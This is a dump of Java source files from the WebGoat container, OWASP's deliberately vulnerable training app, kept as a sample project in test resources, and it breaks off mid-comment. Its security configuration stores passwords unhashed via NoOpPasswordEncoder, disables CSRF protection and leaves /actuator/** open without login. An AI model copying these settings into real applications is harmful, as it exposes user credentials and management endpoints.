This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * *

You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * *

Getting Source ============== * *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository * for free software projects. * * @author WebGoat * @version $Id: $Id * @since October 28, 2003 */ package org.owasp.webgoat.container; import java.io.File; import org.owasp.webgoat.container.session.UserSessionData; import org.owasp.webgoat.container.session.WebSession; import org.springframework.beans.factory.annotation.Value; import org.springframework.boot.autoconfigure.EnableAutoConfiguration; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.ComponentScan; import org.springframework.context.annotation.Configuration; import org.springframework.context.annotation.PropertySource; import org.springframework.context.annotation.Scope; import org.springframework.context.annotation.ScopedProxyMode; import org.springframework.web.client.RestTemplate; @Configuration @ComponentScan(basePackages = {"org.owasp.webgoat.container", "org.owasp.webgoat.lessons"}) @PropertySource("classpath:application-webgoat.properties") @EnableAutoConfiguration public class WebGoat { @Bean(name = "pluginTargetDirectory") public File pluginTargetDirectory(@Value("${webgoat.user.directory}") final String webgoatHome) { return new File(webgoatHome); } @Bean @Scope(value = "session", proxyMode = ScopedProxyMode.TARGET_CLASS) public WebSession webSession() { return new WebSession(); } @Bean @Scope(value = "session", proxyMode = ScopedProxyMode.TARGET_CLASS) public UserSessionData userSessionData() { return new UserSessionData("test", "data"); } @Bean public RestTemplate restTemplate() { return new RestTemplate(); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/WebSecurityConfig.java ================================================ /** * ************************************************************************************************ * This file is part of WebGoat, an Open Web Application Security Project utility. For details, * please see http://www.owasp.org/ * *

Copyright (c) 2002 - 2014 Bruce Mayhew * *

This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * *

You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * *

Getting Source ============== * *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository * for free software projects. * *

* * @author WebGoat * @version $Id: $Id * @since December 12, 2015 */ package org.owasp.webgoat.container; import lombok.AllArgsConstructor; import org.owasp.webgoat.container.users.UserService; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; import org.springframework.security.authentication.AuthenticationManager; import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder; import org.springframework.security.config.annotation.web.builders.HttpSecurity; import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity; import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter; import org.springframework.security.config.annotation.web.configurers.ExpressionUrlAuthorizationConfigurer; import org.springframework.security.core.userdetails.UserDetailsService; import org.springframework.security.crypto.password.NoOpPasswordEncoder; /** Security configuration for WebGoat. */ @Configuration @AllArgsConstructor @EnableWebSecurity public class WebSecurityConfig extends WebSecurityConfigurerAdapter { private final UserService userDetailsService; @Override protected void configure(HttpSecurity http) throws Exception { ExpressionUrlAuthorizationConfigurer.ExpressionInterceptUrlRegistry security = http.authorizeRequests() .antMatchers( "/css/**", "/images/**", "/js/**", "fonts/**", "/plugins/**", "/registration", "/register.mvc", "/actuator/**") .permitAll() .anyRequest() .authenticated(); security .and() .formLogin() .loginPage("/login") .defaultSuccessUrl("/welcome.mvc", true) .usernameParameter("username") .passwordParameter("password") .permitAll(); security.and().logout().deleteCookies("JSESSIONID").invalidateHttpSession(true); security.and().csrf().disable(); http.headers().cacheControl().disable(); http.exceptionHandling().authenticationEntryPoint(new AjaxAuthenticationEntryPoint("/login")); } @Autowired public void configureGlobal(AuthenticationManagerBuilder auth) throws Exception { auth.userDetailsService(userDetailsService); } @Bean @Override public UserDetailsService userDetailsServiceBean() throws Exception { return userDetailsService; } @Override @Bean protected AuthenticationManager authenticationManager() throws Exception { return super.authenticationManager(); } @SuppressWarnings("deprecation") @Bean public NoOpPasswordEncoder passwordEncoder() { return (NoOpPasswordEncoder) NoOpPasswordEncoder.getInstance(); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/WebWolfRedirect.java ================================================ package org.owasp.webgoat.container; import lombok.RequiredArgsConstructor; import org.springframework.context.ApplicationContext; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.servlet.ModelAndView; @Controller @RequiredArgsConstructor public class WebWolfRedirect { private final ApplicationContext applicationContext; @GetMapping("/WebWolf") public ModelAndView openWebWolf() { var url = applicationContext.getEnvironment().getProperty("webwolf.url"); return new ModelAndView("redirect:" + url + "/home"); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/asciidoc/EnvironmentExposure.java ================================================ package org.owasp.webgoat.container.asciidoc; import org.springframework.beans.BeansException; import org.springframework.context.ApplicationContext; import org.springframework.context.ApplicationContextAware; import org.springframework.core.env.Environment; import org.springframework.stereotype.Component; /** * Make environment available in the asciidoc code (which you cannot inject because it is handled by * the framework) */ @Component public class EnvironmentExposure implements ApplicationContextAware { private static ApplicationContext context; public static Environment getEnv() { return context.getEnvironment(); } @Override public void setApplicationContext(ApplicationContext applicationContext) throws BeansException { context = applicationContext; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/asciidoc/OperatingSystemMacro.java ================================================ package org.owasp.webgoat.container.asciidoc; import java.util.Map; import org.asciidoctor.ast.ContentNode; import org.asciidoctor.extension.InlineMacroProcessor; public class OperatingSystemMacro extends InlineMacroProcessor { public OperatingSystemMacro(String macroName) { super(macroName); } public OperatingSystemMacro(String macroName, Map config) { super(macroName, config); } @Override public Object process(ContentNode contentNode, String target, Map attributes) { var osName = System.getProperty("os.name"); // see // https://discuss.asciidoctor.org/How-to-create-inline-macro-producing-HTML-In-AsciidoctorJ-td8313.html for why quoted is used return createPhraseNode(contentNode, "quoted", osName); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/asciidoc/UsernameMacro.java ================================================ package org.owasp.webgoat.container.asciidoc; import java.util.Map; import org.asciidoctor.ast.ContentNode; import org.asciidoctor.extension.InlineMacroProcessor; import org.owasp.webgoat.container.users.WebGoatUser; import org.springframework.security.core.context.SecurityContextHolder; public class UsernameMacro extends InlineMacroProcessor { public UsernameMacro(String macroName) { super(macroName); } public UsernameMacro(String macroName, Map config) { super(macroName, config); } @Override public Object process(ContentNode contentNode, String target, Map attributes) { var auth = SecurityContextHolder.getContext().getAuthentication(); var username = "unknown"; if (auth.getPrincipal() instanceof WebGoatUser webGoatUser) { username = webGoatUser.getUsername(); } // see // https://discuss.asciidoctor.org/How-to-create-inline-macro-producing-HTML-In-AsciidoctorJ-td8313.html for why quoted is used return createPhraseNode(contentNode, "quoted", username); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/asciidoc/WebGoatTmpDirMacro.java ================================================ package org.owasp.webgoat.container.asciidoc; import java.util.Map; import org.asciidoctor.ast.ContentNode; import org.asciidoctor.extension.InlineMacroProcessor; public class WebGoatTmpDirMacro extends InlineMacroProcessor { public WebGoatTmpDirMacro(String macroName) { super(macroName); } public WebGoatTmpDirMacro(String macroName, Map config) { super(macroName, config); } @Override public Object process(ContentNode contentNode, String target, Map attributes) { var env = EnvironmentExposure.getEnv().getProperty("webgoat.server.directory"); // see // https://discuss.asciidoctor.org/How-to-create-inline-macro-producing-HTML-In-AsciidoctorJ-td8313.html for why quoted is used return createPhraseNode(contentNode, "quoted", env); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/asciidoc/WebGoatVersionMacro.java ================================================ package org.owasp.webgoat.container.asciidoc; import java.util.Map; import org.asciidoctor.ast.ContentNode; import org.asciidoctor.extension.InlineMacroProcessor; public class WebGoatVersionMacro extends InlineMacroProcessor { public WebGoatVersionMacro(String macroName) { super(macroName); } public WebGoatVersionMacro(String macroName, Map config) { super(macroName, config); } @Override public Object process(ContentNode contentNode, String target, Map attributes) { var webgoatVersion = EnvironmentExposure.getEnv().getProperty("webgoat.build.version"); // see // https://discuss.asciidoctor.org/How-to-create-inline-macro-producing-HTML-In-AsciidoctorJ-td8313.html for why quoted is used return createPhraseNode(contentNode, "quoted", webgoatVersion); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/asciidoc/WebWolfMacro.java ================================================ package org.owasp.webgoat.container.asciidoc; import java.util.HashMap; import java.util.Map; import javax.servlet.http.HttpServletRequest; import org.asciidoctor.ast.ContentNode; import org.asciidoctor.extension.InlineMacroProcessor; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.context.request.ServletRequestAttributes; /** * Usage in asciidoc: * *

webWolfLink:here[] will display a href with here as text */ public class WebWolfMacro extends InlineMacroProcessor { public WebWolfMacro(String macroName) { super(macroName); } public WebWolfMacro(String macroName, Map config) { super(macroName, config); } @Override public Object process(ContentNode contentNode, String linkText, Map attributes) { var env = EnvironmentExposure.getEnv(); var hostname = determineHost(env.getProperty("webwolf.port")); var target = (String) attributes.getOrDefault("target", "home"); var href = hostname + "/" + target; // are we using noLink in webWolfLink:landing[noLink]? Then display link with full href if (displayCompleteLinkNoFormatting(attributes)) { linkText = href; } var options = new HashMap(); options.put("type", ":link"); options.put("target", href); attributes.put("window", "_blank"); return createPhraseNode(contentNode, "anchor", linkText, attributes, options).convert(); } private boolean displayCompleteLinkNoFormatting(Map attributes) { return attributes.values().stream().anyMatch(a -> a.equals("noLink")); } /** * Determine the host from the hostname and ports that were used. The purpose is to make it * possible to use the application behind a reverse proxy. For instance in the docker * compose/stack version with webgoat webwolf and nginx proxy. You do not have to use the * indicated hostname, but if you do, you should define two hosts aliases 127.0.0.1 * www.webgoat.local www.webwolf.local */ private String determineHost(String port) { HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest(); String host = request.getHeader("Host"); int semicolonIndex = host.indexOf(":"); if (semicolonIndex == -1 || host.endsWith(":80")) { host = host.replace(":80", "").replace("www.webgoat.local", "www.webwolf.local"); } else { host = host.substring(0, semicolonIndex); host = host.concat(":").concat(port); } return "http://" + host + (includeWebWolfContext() ? "/WebWolf" : ""); } protected boolean includeWebWolfContext() { return true; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/asciidoc/WebWolfRootMacro.java ================================================ package org.owasp.webgoat.container.asciidoc; import java.util.Map; /** * Usage in asciidoc: * *

webWolfLink:here[] will display a href with here as text webWolfLink:landing[noLink] will * display the complete url, for example: http://WW_HOST:WW_PORT/landing */ public class WebWolfRootMacro extends WebWolfMacro { public WebWolfRootMacro(String macroName) { super(macroName); } public WebWolfRootMacro(String macroName, Map config) { super(macroName, config); } @Override protected boolean includeWebWolfContext() { return false; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/assignments/AssignmentEndpoint.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, * please see http://www.owasp.org/ *

* Copyright (c) 2002 - 2017 Bruce Mayhew *

* This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. *

* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. *

* You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. *

* Getting Source ============== *

* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software * projects. *

*/ package org.owasp.webgoat.container.assignments; import lombok.Getter; import org.owasp.webgoat.container.i18n.PluginMessages; import org.owasp.webgoat.container.lessons.Initializeable; import org.owasp.webgoat.container.session.UserSessionData; import org.owasp.webgoat.container.session.WebSession; import org.owasp.webgoat.container.users.WebGoatUser; import org.springframework.beans.factory.annotation.Autowired; public abstract class AssignmentEndpoint implements Initializeable { @Autowired private WebSession webSession; @Autowired private UserSessionData userSessionData; @Getter @Autowired private PluginMessages messages; protected WebSession getWebSession() { return webSession; } protected UserSessionData getUserSessionData() { return userSessionData; } /** * Convenience method for create a successful result: * *

- Assignment is set to solved - Feedback message is set to 'assignment.solved' * *

Of course you can overwrite these values in a specific lesson * * @return a builder for creating a result from a lesson * @param assignment */ protected AttackResult.AttackResultBuilder success(AssignmentEndpoint assignment) { return AttackResult.builder(messages) .lessonCompleted(true) .attemptWasMade() .feedback("assignment.solved") .assignment(assignment); } /** * Convenience method for create a failed result: * *

- Assignment is set to not solved - Feedback message is set to 'assignment.not.solved' * *

Of course you can overwrite these values in a specific lesson * * @return a builder for creating a result from a lesson * @param assignment */ protected AttackResult.AttackResultBuilder failed(AssignmentEndpoint assignment) { return AttackResult.builder(messages) .lessonCompleted(false) .attemptWasMade() .feedback("assignment.not.solved") .assignment(assignment); } protected AttackResult.AttackResultBuilder informationMessage(AssignmentEndpoint assignment) { return AttackResult.builder(messages).lessonCompleted(false).assignment(assignment); } @Override public void initialize(WebGoatUser user) {} } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/assignments/AssignmentHints.java ================================================ package org.owasp.webgoat.container.assignments; import java.lang.annotation.ElementType; import java.lang.annotation.Retention; import java.lang.annotation.RetentionPolicy; import java.lang.annotation.Target; /** Created by nbaars on 1/14/17. */ @Target(ElementType.TYPE) @Retention(RetentionPolicy.RUNTIME) public @interface AssignmentHints { String[] value() default {}; } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/assignments/AssignmentPath.java ================================================ package org.owasp.webgoat.container.assignments; import java.lang.annotation.ElementType; import java.lang.annotation.Retention; import java.lang.annotation.RetentionPolicy; import java.lang.annotation.Target; import org.springframework.web.bind.annotation.RequestMethod; /** Created by nbaars on 1/14/17. */ @Target(ElementType.TYPE) @Retention(RetentionPolicy.RUNTIME) public @interface AssignmentPath { String[] path() default {}; RequestMethod[] method() default {}; String value() default ""; } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/assignments/AttackResult.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, * please see http://www.owasp.org/ *

* Copyright (c) 2002 - 2017 Bruce Mayhew *

* This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. *

* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. *

* You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. *

* Getting Source ============== *

* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software * projects. *

*/ package org.owasp.webgoat.container.assignments; import static org.apache.commons.text.StringEscapeUtils.escapeJson; import lombok.Getter; import org.owasp.webgoat.container.i18n.PluginMessages; public class AttackResult { public static class AttackResultBuilder { private boolean lessonCompleted; private PluginMessages messages; private Object[] feedbackArgs; private String feedbackResourceBundleKey; private String output; private Object[] outputArgs; private AssignmentEndpoint assignment; private boolean attemptWasMade = false; public AttackResultBuilder(PluginMessages messages) { this.messages = messages; } public AttackResultBuilder lessonCompleted(boolean lessonCompleted) { this.lessonCompleted = lessonCompleted; this.feedbackResourceBundleKey = "lesson.completed"; return this; } public AttackResultBuilder lessonCompleted(boolean lessonCompleted, String resourceBundleKey) { this.lessonCompleted = lessonCompleted; this.feedbackResourceBundleKey = resourceBundleKey; return this; } public AttackResultBuilder feedbackArgs(Object... args) { this.feedbackArgs = args; return this; } public AttackResultBuilder feedback(String resourceBundleKey) { this.feedbackResourceBundleKey = resourceBundleKey; return this; } public AttackResultBuilder output(String output) { this.output = output; return this; } public AttackResultBuilder outputArgs(Object... args) { this.outputArgs = args; return this; } public AttackResultBuilder attemptWasMade() { this.attemptWasMade = true; return this; } public AttackResult build() { return new AttackResult( lessonCompleted, messages.getMessage(feedbackResourceBundleKey, feedbackArgs), messages.getMessage(output, output, outputArgs), assignment.getClass().getSimpleName(), attemptWasMade); } public AttackResultBuilder assignment(AssignmentEndpoint assignment) { this.assignment = assignment; return this; } } @Getter private boolean lessonCompleted; @Getter private String feedback; @Getter private String output; @Getter private final String assignment; @Getter private boolean attemptWasMade; public AttackResult( boolean lessonCompleted, String feedback, String output, String assignment, boolean attemptWasMade) { this.lessonCompleted = lessonCompleted; this.feedback = escapeJson(feedback); this.output = escapeJson(output); this.assignment = assignment; this.attemptWasMade = attemptWasMade; } public static AttackResultBuilder builder(PluginMessages messages) { return new AttackResultBuilder(messages); } public boolean assignmentSolved() { return lessonCompleted; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/assignments/LessonTrackerInterceptor.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.container.assignments; import org.owasp.webgoat.container.session.WebSession; import org.owasp.webgoat.container.users.UserTracker; import org.owasp.webgoat.container.users.UserTrackerRepository; import org.springframework.core.MethodParameter; import org.springframework.http.MediaType; import org.springframework.http.converter.HttpMessageConverter; import org.springframework.http.server.ServerHttpRequest; import org.springframework.http.server.ServerHttpResponse; import org.springframework.web.bind.annotation.RestControllerAdvice; import org.springframework.web.servlet.mvc.method.annotation.ResponseBodyAdvice; @RestControllerAdvice public class LessonTrackerInterceptor implements ResponseBodyAdvice { private UserTrackerRepository userTrackerRepository; private WebSession webSession; public LessonTrackerInterceptor( UserTrackerRepository userTrackerRepository, WebSession webSession) { this.userTrackerRepository = userTrackerRepository; this.webSession = webSession; } @Override public boolean supports( MethodParameter methodParameter, Class> clazz) { return true; } @Override public Object beforeBodyWrite( Object o, MethodParameter methodParameter, MediaType mediaType, Class> aClass, ServerHttpRequest serverHttpRequest, ServerHttpResponse serverHttpResponse) { if (o instanceof AttackResult attackResult) { trackProgress(attackResult); } return o; } protected AttackResult trackProgress(AttackResult attackResult) { UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName()); if (userTracker == null) { userTracker = new UserTracker(webSession.getUserName()); } if (attackResult.assignmentSolved()) { userTracker.assignmentSolved(webSession.getCurrentLesson(), attackResult.getAssignment()); } else { userTracker.assignmentFailed(webSession.getCurrentLesson()); } userTrackerRepository.saveAndFlush(userTracker); return attackResult; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/controller/StartLesson.java ================================================ /** * ************************************************************************************************ * *

* *

This file is part of WebGoat, an Open Web Application Security Project utility. For details, * please see http://www.owasp.org/ * *

Copyright (c) 2002 - 2014 Bruce Mayhew * *

This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * *

You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * *

Getting Source ============== * *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository * for free software projects. * * @author WebGoat * @version $Id: $Id * @since October 28, 2003 */ package org.owasp.webgoat.container.controller; import javax.servlet.http.HttpServletRequest; import org.owasp.webgoat.container.session.Course; import org.owasp.webgoat.container.session.WebSession; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; import org.springframework.web.servlet.ModelAndView; @Controller public class StartLesson { private final WebSession ws; private final Course course; public StartLesson(WebSession ws, Course course) { this.ws = ws; this.course = course; } /** * start. * * @return a {@link ModelAndView} object. */ @RequestMapping( path = "startlesson.mvc", method = {RequestMethod.GET, RequestMethod.POST}) public ModelAndView start() { var model = new ModelAndView(); model.addObject("course", course); model.addObject("lesson", ws.getCurrentLesson()); model.setViewName("lesson_content"); return model; } @RequestMapping( value = {"*.lesson"}, produces = "text/html") public ModelAndView lessonPage(HttpServletRequest request) { var model = new ModelAndView("lesson_content"); var path = request.getRequestURL().toString(); // we now got /a/b/c/AccessControlMatrix.lesson var lessonName = path.substring(path.lastIndexOf('/') + 1, path.indexOf(".lesson")); course.getLessons().stream() .filter(l -> l.getId().equals(lessonName)) .findFirst() .ifPresent( lesson -> { ws.setCurrentLesson(lesson); model.addObject("lesson", lesson); }); return model; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/controller/Welcome.java ================================================ /** * ************************************************************************************************ * *

This file is part of WebGoat, an Open Web Application Security Project utility. For details, * please see http://www.owasp.org/ * *

Copyright (c) 2002 - 2014 Bruce Mayhew * *

This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * *

You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * *

Getting Source ============== * *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository * for free software projects. * * @author WebGoat * @since October 28, 2003 * @version $Id: $Id */ package org.owasp.webgoat.container.controller; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpSession; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.servlet.ModelAndView; /** * Welcome class. * * @author rlawson * @version $Id: $Id */ @Controller public class Welcome { private static final String WELCOMED = "welcomed"; /** * welcome. * * @param request a {@link javax.servlet.http.HttpServletRequest} object. * @return a {@link org.springframework.web.servlet.ModelAndView} object. */ @GetMapping(path = {"welcome.mvc"}) public ModelAndView welcome(HttpServletRequest request) { // set the welcome attribute // this is so the attack servlet does not also // send them to the welcome page HttpSession session = request.getSession(); if (session.getAttribute(WELCOMED) == null) { session.setAttribute(WELCOMED, "true"); } // go ahead and send them to webgoat (skip the welcome page) ModelAndView model = new ModelAndView(); model.setViewName("forward:/attack?start=true"); return model; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/i18n/Language.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, * please see http://www.owasp.org/ *

* Copyright (c) 2002 - 2017 Bruce Mayhew *

* This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. *

* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. *

* You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. *

* Getting Source ============== *

* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software * projects. *

*/ package org.owasp.webgoat.container.i18n; import java.util.Locale; import lombok.AllArgsConstructor; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.context.request.ServletRequestAttributes; import org.springframework.web.servlet.LocaleResolver; /** * Wrapper around the LocaleResolver from Spring so we do not need to bother with passing the * HttpRequest object when asking for a Locale. * * @author nbaars * @date 2/7/17 */ @AllArgsConstructor public class Language { private final LocaleResolver localeResolver; public Locale getLocale() { return localeResolver.resolveLocale( ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest()); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/i18n/Messages.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, * please see http://www.owasp.org/ *

* Copyright (c) 2002 - 2017 Bruce Mayhew *

* This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. *

* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. *

* You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. *

* Getting Source ============== *

* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software * projects. *

*/ package org.owasp.webgoat.container.i18n; import java.util.Properties; import lombok.AllArgsConstructor; import org.springframework.context.support.ReloadableResourceBundleMessageSource; /** * ExposedReloadableResourceMessageBundleSource class. Extends the reloadable message source with a * way to get all messages * * @author zupzup */ @AllArgsConstructor public class Messages extends ReloadableResourceBundleMessageSource { private final Language language; /** * Gets all messages for presented Locale. * * @return all messages */ public Properties getMessages() { return getMergedProperties(language.getLocale()).getProperties(); } public String getMessage(String code, Object... args) { return getMessage(code, args, language.getLocale()); } public String getMessage(String code, String defaultValue, Object... args) { return super.getMessage(code, args, defaultValue, language.getLocale()); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/i18n/PluginMessages.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, * please see http://www.owasp.org/ *

* Copyright (c) 2002 - 2017 Bruce Mayhew *

* This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. *

* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. *

* You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. *

* Getting Source ============== *

* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software * projects. *

*/ package org.owasp.webgoat.container.i18n; import java.io.IOException; import java.util.Properties; import org.springframework.context.support.ReloadableResourceBundleMessageSource; import org.springframework.core.io.support.ResourcePatternResolver; /** * Message resource bundle for plugins. * * @author nbaars * @date 2/4/17 */ public class PluginMessages extends ReloadableResourceBundleMessageSource { private static final String PROPERTIES_SUFFIX = ".properties"; private final Language language; private final ResourcePatternResolver resourcePatternResolver; public PluginMessages( Messages messages, Language language, ResourcePatternResolver resourcePatternResolver) { this.language = language; this.setParentMessageSource(messages); this.setBasename("WebGoatLabels"); this.resourcePatternResolver = resourcePatternResolver; } @Override protected PropertiesHolder refreshProperties(String filename, PropertiesHolder propHolder) { Properties properties = new Properties(); long lastModified = System.currentTimeMillis(); try { var resources = resourcePatternResolver.getResources( "classpath:/lessons/**/i18n" + "/WebGoatLabels" + PROPERTIES_SUFFIX); for (var resource : resources) { String sourcePath = resource.getURI().toString().replace(PROPERTIES_SUFFIX, ""); PropertiesHolder holder = super.refreshProperties(sourcePath, propHolder); properties.putAll(holder.getProperties()); } } catch (IOException e) { logger.error("Unable to read plugin message", e); } return new PropertiesHolder(properties, lastModified); } public Properties getMessages() { return getMergedProperties(language.getLocale()).getProperties(); } public String getMessage(String code, Object... args) { return getMessage(code, args, language.getLocale()); } public String getMessage(String code, String defaultValue, Object... args) { return super.getMessage(code, args, defaultValue, language.getLocale()); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/lessons/Assignment.java ================================================ package org.owasp.webgoat.container.lessons; import java.util.ArrayList; import java.util.List; import javax.persistence.*; import lombok.*; /** * ************************************************************************************************ * This file is part of WebGoat, an Open Web Application Security Project utility. For details, * please see http://www.owasp.org/ * *

Copyright (c) 2002 - 2014 Bruce Mayhew * *

This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * *

